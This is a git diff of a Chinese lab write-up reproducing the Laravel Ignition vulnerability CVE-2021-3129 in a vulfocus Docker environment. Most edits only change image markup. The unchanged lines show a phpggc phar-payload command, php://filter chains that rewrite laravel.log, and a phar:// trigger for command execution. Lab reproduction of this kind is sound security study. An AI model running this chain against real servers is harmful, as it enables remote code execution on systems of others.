@@ -12,31 +12,31 @@ Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_ge
12
12
13
13
(1)打开vulfocus:http://vulfocus.fofa.so/
14
14
15
- ![ ] ( .\ 图片1.png)
15
+ < img src = " ./ 图片1.png" style = " zoom : 150 % ; " />
16
16
17
17
(2)查找漏洞编号
18
18
19
- ![ ] ( .\ 图片2.png)
19
+ < img src = " ./ 图片2.png" style = " zoom : 150 % ; " />
20
20
21
21
(3)点击启动即可生成镜像
22
22
23
- ![ ] ( .\ 图片3.png)
23
+ < img src = " ./ 图片3.png" style = " zoom : 150 % ; " />
24
24
25
25
(4)也可以在docker hub库中搜索vulfocus镜像
26
26
27
- ![ ] ( .\ 图片4.png)
27
+ < img src = " ./ 图片4.png" style = " zoom : 150 % ; " />
28
28
29
29
(5)选择想要下载的docker环境,点击进去复制下载路径
30
30
31
- ![ ] ( .\ 图片5.png)
31
+ < img src = " ./ 图片5.png" style = " zoom : 150 % ; " />
32
32
33
33
(6)然后在kail上执行复制路径就可以直接下载
34
34
35
- ` docker pull vulfocus/laravel-cve_2021_3129 ` ![ ] ( .\ 图片6.png)
35
+ ` docker pull vulfocus/laravel-cve_2021_3129 ` < img src = " ./ 图片6.png" style = " zoom : 150 % ; " />
36
36
37
37
(7)下载完毕之后就保存在本地的docker库中
38
38
39
- ` docker images ` ![ ] ( .\ 图片7.png)
39
+ ` docker images ` < img src = " ./ 图片7.png" style = " zoom : 150 % ; " />
40
40
41
41
(8)可以用docker run命令直接启动漏洞环境了
42
42
@@ -60,25 +60,25 @@ Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_ge
60
60
php -d 'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
61
61
```
62
62
63
- <img src =" .\ 图片8.png " style =" zoom :150% ;" />
63
+ <img src =" ./ 图片8.png " style =" zoom :150% ;" />
64
64
65
65
(2)清空log文件
66
66
67
67
```
68
68
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
69
69
```
70
70
71
- ![ ] ( .\ 图片9.png)
71
+ < img src = " ./ 图片9.png" style = " zoom : 150 % ; " />
72
72
73
73
(3)给log添加一个前缀
74
74
75
75
` viewFile: AA `
76
76
77
- ![ ] ( .\ 图片10.png)
77
+ < img src = " ./ 图片10.png" style = " zoom : 150 % ; " />
78
78
79
79
(4)将编完码后的字符写入log中
80
80
81
- ![ ] ( .\ 图片11.png)
81
+ < img src = " ./ 图片11.png" style = " zoom : 150 % ; " />
82
82
83
83
注意:因为每次payload都会写入两次,所有请在payload最后面加上一个字母a,只让payload生效一次
84
84
@@ -88,31 +88,31 @@ php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|
88
88
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
89
89
```
90
90
91
- ![ ] ( .\ 图片12.png)
91
+ < img src = " ./ 图片12.png" style = " zoom : 150 % ; " />
92
92
93
93
(6)触发phar反序列化执行命令
94
94
95
95
` phar:///Applications/MxSrvs/www/laravel/storage/logs/laravel.log/test.txt `
96
96
97
- ![ ] ( .\ 图片13.png)
97
+ < img src = " ./ 图片13.png" style = " zoom : 150 % ; " />
98
98
99
99
注意:只有在编辑log的时候返回的是500,其他时候都是200,如有特殊情况需要从第一步从新开始
100
100
101
- (7)如果上述方法太复杂也可利用Exp来复现漏洞,输入目标ip和端口![ ] ( .\ 图片14.png)
101
+ (7)如果上述方法太复杂也可利用Exp来复现漏洞,输入目标ip和端口< img src = " ./ 图片14.png" style = " zoom : 150 % ; " />
102
102
103
103
用python3运行脚本
104
104
105
- <img src =" .\ 图片15.png " style =" zoom :150% ;" />
105
+ <img src =" ./ 图片15.png " style =" zoom :150% ;" />
106
106
107
107
注意:Exp脚本要和phpggc文件夹在同一目录下,还要给phpggc执行权限,否则无法复现
108
108
109
109
(8)Goby中也有该漏洞的Poc用来验证漏洞
110
110
111
- ![ ] ( .\ 图片16.png)
111
+ < img src = " ./ 图片16.png" style = " zoom : 150 % ; " />
112
112
113
113
如果您有自己的Poc也可以通过Goby提交来获得奖金
114
114
115
- ![ ] ( .\ 图片17.png)
115
+ < img src = " ./ 图片17.png" style = " zoom : 150 % ; " />
116
116
117
117
## ** 源码分析**
118
118
0 commit comments